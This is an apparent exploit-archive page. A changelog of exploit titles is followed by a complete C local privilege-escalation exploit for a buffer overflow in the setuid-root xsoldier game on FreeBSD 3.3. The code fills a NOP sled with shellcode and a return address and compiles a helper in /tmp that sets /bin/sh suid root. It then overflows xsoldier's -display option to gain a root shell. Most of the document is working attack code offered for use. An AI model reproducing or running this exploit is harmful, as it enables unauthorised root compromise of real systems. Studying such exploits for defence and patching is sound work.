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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
2.2 KiB
C
70 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/871/info
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Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.
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The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.
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The user does not have to have a valid $DISPLAY to exploit this.
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/*
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* xsoldier exploit for Freebsd-3.3-RELEASE
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* Drops a suid root shell in /bin/sh
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* Brock Tellier btellier@usa.net
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*/
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#include <stdio.h>
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char shell[]= /* mudge@l0pht.com */
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"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
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"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
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"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
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"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
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#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
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void buildui() {
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FILE *fp;
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char cc[100];
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fp = fopen("/tmp/ui.c", "w");
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fprintf(fp, CODE);
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fclose(fp);
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snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
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system(cc);
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}
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main (int argc, char *argv[] ) {
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int x = 0;
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int y = 0;
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int offset = 0;
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int bsize = 4400;
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char buf[bsize];
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int eip = 0xbfbfdb65; /* works for me */
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buildui();
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if (argv[1]) {
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offset = atoi(argv[1]);
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eip = eip + offset;
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}
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fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
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<btellier@usa.net>\n");
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fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
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fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
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for ( x = 0; x < 4325; x++) buf[x] = 0x90;
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fprintf(stderr, "NOPs to %d\n", x);
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for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
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fprintf(stderr, "Shellcode to %d\n",x);
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buf[x++] = eip & 0x000000ff;
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buf[x++] = (eip & 0x0000ff00) >> 8;
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buf[x++] = (eip & 0x00ff0000) >> 16;
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buf[x++] = (eip & 0xff000000) >> 24;
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fprintf(stderr, "eip to %d\n",x);
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buf[bsize]='\0';
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execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
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} |